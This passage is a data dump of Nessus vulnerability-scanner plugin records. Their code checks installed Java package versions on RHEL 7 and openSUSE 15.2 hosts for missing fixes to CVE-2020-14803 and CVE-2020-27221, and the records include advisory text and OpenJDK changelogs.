'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_7_client', 'enterprise_linux_7_computenode', 'enterprise_linux_7_server', 'enterprise_linux_7_workstation', 'rhel_extras_7', 'rhel_extras_oracle_java_7', 'rhel_extras_rt_7', 'rhel_extras_sap_7', 'rhel_extras_sap_hana_7']},\n {'reference':'java-1.8.0-ibm-devel-1.8.0.6.25-1jpp.1.el7', 'cpu':'s390x', 'release':'7', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_7_client', 'enterprise_linux_7_computenode', 'enterprise_linux_7_server', 'enterprise_linux_7_workstation', 'rhel_extras_7', 'rhel_extras_oracle_java_7', 'rhel_extras_rt_7', 'rhel_extras_sap_7', 'rhel_extras_sap_hana_7']},\n {'reference':'java-1.8.0-ibm-devel-1.8.0.6.25-1jpp.1.el7', 'cpu':'x86_64', 'release':'7', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_7_client', 'enterprise_linux_7_computenode', 'enterprise_linux_7_server', 'enterprise_linux_7_workstation', 'rhel_extras_7', 'rhel_extras_oracle_java_7', 'rhel_extras_rt_7', 'rhel_extras_sap_7', 'rhel_extras_sap_hana_7']},\n {'reference':'java-1.8.0-ibm-jdbc-1.8.0.6.25-1jpp.1.el7', 'cpu':'s390x', 'release':'7', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_7_client', 'enterprise_linux_7_computenode', 'enterprise_linux_7_server', 'enterprise_linux_7_workstation', 'rhel_extras_7', 'rhel_extras_oracle_java_7', 'rhel_extras_rt_7', 'rhel_extras_sap_7', 'rhel_extras_sap_hana_7']},\n {'reference':'java-1.8.0-ibm-jdbc-1.8.0.6.25-1jpp.1.el7', 'cpu':'x86_64', 'release':'7', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_7_client', 'enterprise_linux_7_computenode', 'enterprise_linux_7_server', 'enterprise_linux_7_workstation', 'rhel_extras_7', 'rhel_extras_oracle_java_7', 'rhel_extras_rt_7', 'rhel_extras_sap_7', 'rhel_extras_sap_hana_7']},\n {'reference':'java-1.8.0-ibm-plugin-1.8.0.6.25-1jpp.1.el7', 'cpu':'x86_64', 'release':'7', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_7_client', 'enterprise_linux_7_computenode', 'enterprise_linux_7_server', 'enterprise_linux_7_workstation', 'rhel_extras_7', 'rhel_extras_oracle_java_7', 'rhel_extras_rt_7', 'rhel_extras_sap_7', 'rhel_extras_sap_hana_7']},\n {'reference':'java-1.8.0-ibm-src-1.8.0.6.25-1jpp.1.el7', 'cpu':'s390x', 'release':'7', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_7_client', 'enterprise_linux_7_computenode', 'enterprise_linux_7_server', 'enterprise_linux_7_workstation', 'rhel_extras_7', 'rhel_extras_oracle_java_7', 'rhel_extras_rt_7', 'rhel_extras_sap_7', 'rhel_extras_sap_hana_7']},\n {'reference':'java-1.8.0-ibm-src-1.8.0.6.25-1jpp.1.el7', 'cpu':'x86_64', 'release':'7', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_7_client', 'enterprise_linux_7_computenode', 'enterprise_linux_7_server', 'enterprise_linux_7_workstation', 'rhel_extras_7', 'rhel_extras_oracle_java_7', 'rhel_extras_rt_7', 'rhel_extras_sap_7', 'rhel_extras_sap_hana_7']}\n];\n\nflag = 0;\nforeach package_array ( pkgs ) {\n reference = NULL;\n release = NULL;\n sp = NULL;\n cpu = NULL;\n el_string = NULL;\n rpm_spec_vers_cmp = NULL;\n epoch = NULL;\n allowmaj = NULL;\n repo_list = NULL;\n if (!empty_or_null(package_array['repo_list'])) repo_list = package_array['repo_list'];\n if (!empty_or_null(package_array['reference'])) reference = package_array['reference'];\n if (!empty_or_null(package_array['release'])) release = 'RHEL' + package_array['release'];\n if (!empty_or_null(package_array['sp'])) sp = package_array['sp'];\n if (!empty_or_null(package_array['cpu'])) cpu = package_array['cpu'];\n if (!empty_or_null(package_array['el_string'])) el_string = package_array['el_string'];\n if (!empty_or_null(package_array['rpm_spec_vers_cmp'])) rpm_spec_vers_cmp = package_array['rpm_spec_vers_cmp'];\n if (!empty_or_null(package_array['epoch'])) epoch = package_array['epoch'];\n if (!empty_or_null(package_array['allowmaj'])) allowmaj = package_array['allowmaj'];\n if (reference && release) {\n repocheck = FALSE;\n if (empty_or_null(found_repos))\n {\n repocheck = TRUE;\n }\n else\n {\n foreach repo (repo_list) {\n if (contains_element(var:found_repos, value:repo))\n {\n repocheck = TRUE;\n break;\n }\n }\n }\n if (repocheck && rpm_check(release:release, sp:sp, cpu:cpu, reference:reference, epoch:epoch, el_string:el_string, rpm_spec_vers_cmp:rpm_spec_vers_cmp, allowmaj:allowmaj)) flag++;\n }\n}\n\nif (flag)\n{\n if (empty_or_null(host_repo_list)) extra = rpm_report_get() + redhat_report_repo_caveat();\n else extra = rpm_report_get() + redhat_report_package_caveat();\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : extra\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, 'java-1.8.0-ibm / java-1.8.0-ibm-demo / java-1.8.0-ibm-devel / etc');\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-11T13:00:42", "description": "This update for java-1_8_0-openjdk fixes the following issues :\n\n - Update to version jdk8u282 (icedtea 3.18.0)\n\n - January 2021 CPU (bsc#1181239)\n\n - Security fixes\n\n + JDK-8247619: Improve Direct Buffering of Characters\n (CVE-2020-14803)\n\n - Import of OpenJDK 8 u282 build 01\n\n + JDK-6962725: Regtest javax/swing/JFileChooser/6738668/\n /bug6738668.java fails under Linux\n\n + JDK-8025936: Windows .pdb and .map files does not have\n proper dependencies setup\n\n + JDK-8030350: Enable additional compiler warnings for GCC\n\n + JDK-8031423: Test java/awt/dnd/DisposeFrameOnDragCrash/\n /DisposeFrameOnDragTest.java fails by Timeout on Windows\n\n + JDK-8036122: Fix warning 'format not a string literal'\n\n + JDK-8051853: new\n URI('x/').resolve('..').getSchemeSpecificPart() returns\n null!\n\n + JDK-8132664:\n closed/javax/swing/DataTransfer/DefaultNoDrop/\n /DefaultNoDrop.java locks on Windows\n\n + JDK-8134632: Mark javax/sound/midi/Devices/\n /InitializationHang.java as headful\n\n + JDK-8148854: Class names 'SomeClass' and 'LSomeClass;'\n treated by JVM as an equivalent\n\n + JDK-8148916: Mark bug6400879.java as intermittently\n failing\n\n + JDK-8148983: Fix extra comma in changes for JDK-8148916\n\n + JDK-8160438:\n javax/swing/plaf/nimbus/8057791/bug8057791.java fails\n\n + JDK-8165808: Add release barriers when allocating\n objects with concurrent collection\n\n + JDK-8185003: JMX: Add a version of\n ThreadMXBean.dumpAllThreads with a maxDepth argument\n\n + JDK-8202076: test/jdk/java/io/File/WinSpecialFiles.java\n on windows with VS2017\n\n + JDK-8207766: [testbug] Adapt tests for Aix.\n\n + JDK-8212070: Introduce diagnostic flag to abort VM on\n failed JIT compilation\n\n + JDK-8213448: [TESTBUG] enhance jfr/jvm/TestDumpOnCrash\n\n + JDK-8215727: Restore JFR thread sampler loop to old /\n previous behavior\n\n + JDK-8220657: JFR.dump does not work when filename is set\n\n + JDK-8221342: [TESTBUG] Generate Dockerfile for docker\n testing\n\n + JDK-8224502: [TESTBUG] JDK docker test\n TestSystemMetrics.java fails with access issues and OOM\n\n + JDK-8231209: [REDO]\n ThreadMXBean::getThreadAllocatedBytes() can be quicker\n for self thread\n\n + JDK-8231968: getCurrentThreadAllocatedBytes default\n implementation s/b getThreadAllocatedBytes\n\n + JDK-8232114: JVM crashed at imjpapi.dll in native code\n\n + JDK-8234270: [REDO] JDK-8204128 NMT might report\n incorrect numbers for Compiler area\n\n + JDK-8234339: replace JLI_StrTok in java_md_solinux.c\n\n + JDK-8238448: RSASSA-PSS signature verification fail when\n using certain odd key sizes\n\n + JDK-8242335: Additional Tests for RSASSA-PSS\n\n + JDK-8244225: stringop-overflow warning on strncpy call\n from compile_the_world_in\n\n + JDK-8245400: Upgrade to LittleCMS 2.11\n\n + JDK-8248214: Add paddings for TaskQueueSuper to reduce\n false-sharing cache contention\n\n + JDK-8249176: Update GlobalSignR6CA test certificates\n\n + JDK-8250665: Wrong translation for the month name of May\n in ar_JO,LB,SY\n\n + JDK-8250928: JFR: Improve hash algorithm for stack\n traces\n\n + JDK-8251469: Better cleanup for\n test/jdk/javax/imageio/SetOutput.java\n\n + JDK-8251840:\n Java_sun_awt_X11_XToolkit_getDefaultScreenData should\n not be in make/mapfiles/libawt_xawt/mapfile-vers\n\n + JDK-8252384: [TESTBUG] Some tests refer to COMPAT\n provider rather than JRE\n\n + JDK-8252395: [8u] --with-native-debug-symbols=external\n doesn't include debuginfo files for binaries\n\n + JDK-8252497: Incorrect numeric currency code for ROL\n\n + JDK-8252754: Hash code calculation of JfrStackTrace is\n inconsistent\n\n + JDK-8252904: VM crashes when JFR is used and JFR event\n class is transformed\n\n + JDK-8252975: [8u] JDK-8252395 breaks the build for\n\n --with-native-debug-symbols=internal\n\n + JDK-8253284: Zero OrderAccess barrier mappings are\n incorrect\n\n + JDK-8253550: [8u] JDK-8252395 breaks the build for make\n STRIP_POLICY=no_strip\n\n + JDK-8253752: test/sun/management/jmxremote/bootstrap/\n /RmiBootstrapTest.java fails randomly\n\n + JDK-8254081: java/security/cert/PolicyNode/\n /GetPolicyQualifiers.java fails due to an expired\n certificate\n\n + JDK-8254144: Non-x86 Zero builds fail with return-type\n warning in os_linux_zero.cpp\n\n + JDK-8254166: Zero: return-type warning in\n zeroInterpreter_zero.cpp\n\n + JDK-8254683: [TEST_BUG] jdk/test/sun/tools/jconsole/\n /WorkerDeadlockTest.java fails\n\n + JDK-8255003: Build failures on Solaris\n\nThis update was imported from the SUSE:SLE-15:Update update project.", "edition": 2, "cvss3": {"score": 5.3, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"}, "published": "2021-03-05T00:00:00", "title": "openSUSE Security Update : java-1_8_0-openjdk (openSUSE-2021-374)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-14803"], "modified": "2021-03-05T00:00:00", "cpe": ["cpe:/o:novell:opensuse:15.2", "p-cpe:/a:novell:opensuse:java-1_8_0-openjdk-headless", "p-cpe:/a:novell:opensuse:java-1_8_0-openjdk-accessibility", "p-cpe:/a:novell:opensuse:java-1_8_0-openjdk-devel-debuginfo", "p-cpe:/a:novell:opensuse:java-1_8_0-openjdk-debuginfo", "p-cpe:/a:novell:opensuse:java-1_8_0-openjdk", "p-cpe:/a:novell:opensuse:java-1_8_0-openjdk-demo-debuginfo", "p-cpe:/a:novell:opensuse:java-1_8_0-openjdk-src", "p-cpe:/a:novell:opensuse:java-1_8_0-openjdk-javadoc", "p-cpe:/a:novell:opensuse:java-1_8_0-openjdk-demo", "p-cpe:/a:novell:opensuse:java-1_8_0-openjdk-devel", "p-cpe:/a:novell:opensuse:java-1_8_0-openjdk-headless-debuginfo", "p-cpe:/a:novell:opensuse:java-1_8_0-openjdk-debugsource"], "id": "OPENSUSE-2021-374.NASL", "href": "https://www.tenable.com/plugins/nessus/147161", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from openSUSE Security Update openSUSE-2021-374.\n#\n# The text description of this plugin is (C) SUSE LLC.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(147161);\n script_version(\"1.2\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/03/10\");\n\n script_cve_id(\"CVE-2020-14803\");\n\n script_name(english:\"openSUSE Security Update : java-1_8_0-openjdk (openSUSE-2021-374)\");\n script_summary(english:\"Check for the openSUSE-2021-374 patch\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\"The remote openSUSE host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"This update for java-1_8_0-openjdk fixes the following issues :\n\n - Update to version jdk8u282 (icedtea 3.18.0)\n\n - January 2021 CPU (bsc#1181239)\n\n - Security fixes\n\n + JDK-8247619: Improve Direct Buffering of Characters\n (CVE-2020-14803)\n\n - Import of OpenJDK 8 u282 build 01\n\n + JDK-6962725: Regtest javax/swing/JFileChooser/6738668/\n /bug6738668.java fails under Linux\n\n + JDK-8025936: Windows .pdb and .map files does not have\n proper dependencies setup\n\n + JDK-8030350: Enable additional compiler warnings for GCC\n\n + JDK-8031423: Test java/awt/dnd/DisposeFrameOnDragCrash/\n /DisposeFrameOnDragTest.java fails by Timeout on Windows\n\n + JDK-8036122: Fix warning 'format not a string literal'\n\n + JDK-8051853: new\n URI('x/').resolve('..').getSchemeSpecificPart() returns\n null!\n\n + JDK-8132664:\n closed/javax/swing/DataTransfer/DefaultNoDrop/\n /DefaultNoDrop.java locks on Windows\n\n + JDK-8134632: Mark javax/sound/midi/Devices/\n /InitializationHang.java as headful\n\n + JDK-8148854: Class names 'SomeClass' and 'LSomeClass;'\n treated by JVM as an equivalent\n\n + JDK-8148916: Mark bug6400879.java as intermittently\n failing\n\n + JDK-8148983: Fix extra comma in changes for JDK-8148916\n\n + JDK-8160438:\n javax/swing/plaf/nimbus/8057791/bug8057791.java fails\n\n + JDK-8165808: Add release barriers when allocating\n objects with concurrent collection\n\n + JDK-8185003: JMX: Add a version of\n ThreadMXBean.dumpAllThreads with a maxDepth argument\n\n + JDK-8202076: test/jdk/java/io/File/WinSpecialFiles.java\n on windows with VS2017\n\n + JDK-8207766: [testbug] Adapt tests for Aix.\n\n + JDK-8212070: Introduce diagnostic flag to abort VM on\n failed JIT compilation\n\n + JDK-8213448: [TESTBUG] enhance jfr/jvm/TestDumpOnCrash\n\n + JDK-8215727: Restore JFR thread sampler loop to old /\n previous behavior\n\n + JDK-8220657: JFR.dump does not work when filename is set\n\n + JDK-8221342: [TESTBUG] Generate Dockerfile for docker\n testing\n\n + JDK-8224502: [TESTBUG] JDK docker test\n TestSystemMetrics.java fails with access issues and OOM\n\n + JDK-8231209: [REDO]\n ThreadMXBean::getThreadAllocatedBytes() can be quicker\n for self thread\n\n + JDK-8231968: getCurrentThreadAllocatedBytes default\n implementation s/b getThreadAllocatedBytes\n\n + JDK-8232114: JVM crashed at imjpapi.dll in native code\n\n + JDK-8234270: [REDO] JDK-8204128 NMT might report\n incorrect numbers for Compiler area\n\n + JDK-8234339: replace JLI_StrTok in java_md_solinux.c\n\n + JDK-8238448: RSASSA-PSS signature verification fail when\n using certain odd key sizes\n\n + JDK-8242335: Additional Tests for RSASSA-PSS\n\n + JDK-8244225: stringop-overflow warning on strncpy call\n from compile_the_world_in\n\n + JDK-8245400: Upgrade to LittleCMS 2.11\n\n + JDK-8248214: Add paddings for TaskQueueSuper to reduce\n false-sharing cache contention\n\n + JDK-8249176: Update GlobalSignR6CA test certificates\n\n + JDK-8250665: Wrong translation for the month name of May\n in ar_JO,LB,SY\n\n + JDK-8250928: JFR: Improve hash algorithm for stack\n traces\n\n + JDK-8251469: Better cleanup for\n test/jdk/javax/imageio/SetOutput.java\n\n + JDK-8251840:\n Java_sun_awt_X11_XToolkit_getDefaultScreenData should\n not be in make/mapfiles/libawt_xawt/mapfile-vers\n\n + JDK-8252384: [TESTBUG] Some tests refer to COMPAT\n provider rather than JRE\n\n + JDK-8252395: [8u] --with-native-debug-symbols=external\n doesn't include debuginfo files for binaries\n\n + JDK-8252497: Incorrect numeric currency code for ROL\n\n + JDK-8252754: Hash code calculation of JfrStackTrace is\n inconsistent\n\n + JDK-8252904: VM crashes when JFR is used and JFR event\n class is transformed\n\n + JDK-8252975: [8u] JDK-8252395 breaks the build for\n\n --with-native-debug-symbols=internal\n\n + JDK-8253284: Zero OrderAccess barrier mappings are\n incorrect\n\n + JDK-8253550: [8u] JDK-8252395 breaks the build for make\n STRIP_POLICY=no_strip\n\n + JDK-8253752: test/sun/management/jmxremote/bootstrap/\n /RmiBootstrapTest.java fails randomly\n\n + JDK-8254081: java/security/cert/PolicyNode/\n /GetPolicyQualifiers.java fails due to an expired\n certificate\n\n + JDK-8254144: Non-x86 Zero builds fail with return-type\n warning in os_linux_zero.cpp\n\n + JDK-8254166: Zero: return-type warning in\n zeroInterpreter_zero.cpp\n\n + JDK-8254683: [TEST_BUG] jdk/test/sun/tools/jconsole/\n /WorkerDeadlockTest.java fails\n\n + JDK-8255003: Build failures on Solaris\n\nThis update was imported from the SUSE:SLE-15:Update update project.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1181239\"\n );\n script_set_attribute(\n attribute:\"solution\",\n value:\"Update the affected java-1_8_0-openjdk packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:java-1_8_0-openjdk\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:java-1_8_0-openjdk-accessibility\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:java-1_8_0-openjdk-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:java-1_8_0-openjdk-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:java-1_8_0-openjdk-demo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:java-1_8_0-openjdk-demo-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:java-1_8_0-openjdk-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:java-1_8_0-openjdk-devel-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:java-1_8_0-openjdk-headless\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:java-1_8_0-openjdk-headless-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:java-1_8_0-openjdk-javadoc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:java-1_8_0-openjdk-src\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:opensuse:15.2\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/10/21\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/03/03\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/03/05\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release =~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"openSUSE\");\nif (release !~ \"^(SUSE15\\.2)$\") audit(AUDIT_OS_RELEASE_NOT, \"openSUSE\", \"15.2\", release);\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\nourarch = get_kb_item(\"Host/cpu\");\nif (!ourarch) audit(AUDIT_UNKNOWN_ARCH);\nif (ourarch !~ \"^(i586|i686|x86_64)$\") audit(AUDIT_ARCH_NOT, \"i586 / i686 / x86_64\", ourarch);\n\nflag = 0;\n\nif ( rpm_check(release:\"SUSE15.2\", reference:\"java-1_8_0-openjdk-1.8.0.282-lp152.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.2\", reference:\"java-1_8_0-openjdk-accessibility-1.8.0.282-lp152.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.2\", reference:\"java-1_8_0-openjdk-debuginfo-1.8.0.282-lp152.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.2\", reference:\"java-1_8_0-openjdk-debugsource-1.8.0.282-lp152.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.2\", reference:\"java-1_8_0-openjdk-demo-1.8.0.282-lp152.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.2\", reference:\"java-1_8_0-openjdk-demo-debuginfo-1.8.0.282-lp152.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.2\", reference:\"java-1_8_0-openjdk-devel-1.8.0.282-lp152.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.2\", reference:\"java-1_8_0-openjdk-devel-debuginfo-1.8.0.282-lp152.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.2\", reference:\"java-1_8_0-openjdk-headless-1.8.0.282-lp152.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.2\", reference:\"java-1_8_0-openjdk-headless-debuginfo-1.8.0.282-lp152.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.2\", reference:\"java-1_8_0-openjdk-javadoc-1.8.0.282-lp152.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.2\", reference:\"java-1_8_0-openjdk-src-1.8.0.282-lp152.2.9.1\") ) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"java-1_8_0-openjdk / java-1_8_0-openjdk-accessibility / etc\");\n}\n", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2021-03-25T13:49:02", "description": "The remote Redhat Enterprise Linux 7 host has packages installed that are affected by multiple vulnerabilities as\nreferenced in the RHSA-2021:0733 advisory.\n\n - OpenJDK: Race condition in NIO Buffer boundary checks (Libraries, 8244136) (CVE-2020-14803)\n\n - IBM JDK: Stack-based buffer overflow when converting from UTF-8 characters to platform encoding\n (CVE-2020-27221)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.", "edition": 3, "cvss3": {"score": 9.8, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2021-03-04T00:00:00", "title": "RHEL 7 : java-1.7.1-ibm (RHSA-2021:0733)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-27221", "CVE-2020-14803"], "modified": "2021-03-04T00:00:00", "cpe": ["cpe:/a:redhat:rhel_extras_sap:7", "p-cpe:/a:redhat:enterprise_linux:java-1.7.1-ibm-jdbc", "p-cpe:/a:redhat:enterprise_linux:java-1.7.1-ibm-plugin", "p-cpe:/a:redhat:enterprise_linux:java-1.7.1-ibm-devel", "cpe:/a:redhat:rhel_extras:7", "cpe:/a:redhat:rhel_extras_oracle_java:7", "cpe:/a:redhat:rhel_extras_rt:7", "cpe:/o:redhat:enterprise_linux:7", "p-cpe:/a:redhat:enterprise_linux:java-1.7.1-ibm-demo", "p-cpe:/a:redhat:enterprise_linux:java-1.7.1-ibm", "cpe:/a:redhat:rhel_extras_sap_hana:7", "p-cpe:/a:redhat:enterprise_linux:java-1.7.1-ibm-src"], "id": "REDHAT-RHSA-2021-0733.NASL", "href": "https://www.tenable.com/plugins/nessus/147139", "sourceData": "##\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Red Hat Security Advisory RHSA-2021:0733. The text\n# itself is copyright (C) Red Hat, Inc.\n##\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(147139);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/03/24\");\n\n script_cve_id(\"CVE-2020-14803\", \"CVE-2020-27221\");\n script_xref(name:\"RHSA\", value:\"2021:0733\");\n\n script_name(english:\"RHEL 7 : java-1.7.1-ibm (RHSA-2021:0733)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Red Hat host is missing one or more security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Redhat Enterprise Linux 7 host has packages installed that are affected by multiple vulnerabilities as\nreferenced in the RHSA-2021:0733 advisory.\n\n - OpenJDK: Race condition in NIO Buffer boundary checks (Libraries, 8244136) (CVE-2020-14803)\n\n - IBM JDK: Stack-based buffer overflow when converting from UTF-8 characters to platform encoding\n (CVE-2020-27221)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/119.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/367.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-14803\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-27221\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/errata/RHSA-2021:0733\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1889895\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1928555\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-27221\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_cwe_id(119, 367);\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/10/21\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/03/04\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/03/04\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:7\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:redhat:rhel_extras:7\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:redhat:rhel_extras_oracle_java:7\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:redhat:rhel_extras_rt:7\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:redhat:rhel_extras_sap:7\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:redhat:rhel_extras_sap_hana:7\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:java-1.7.1-ibm\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:java-1.7.1-ibm-demo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:java-1.7.1-ibm-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:java-1.7.1-ibm-jdbc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:java-1.7.1-ibm-plugin\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:java-1.7.1-ibm-src\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude('audit.inc');\ninclude('global_settings.inc');\ninclude('misc_func.inc');\ninclude('rpm.inc');\ninclude('rhel.inc');\n\nif (!get_kb_item('Host/local_checks_enabled')) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item('Host/RedHat/release');\nif (isnull(release) || 'Red Hat' >!< release) audit(AUDIT_OS_NOT, 'Red Hat');\nos_ver = pregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, 'Red Hat');\nos_ver = 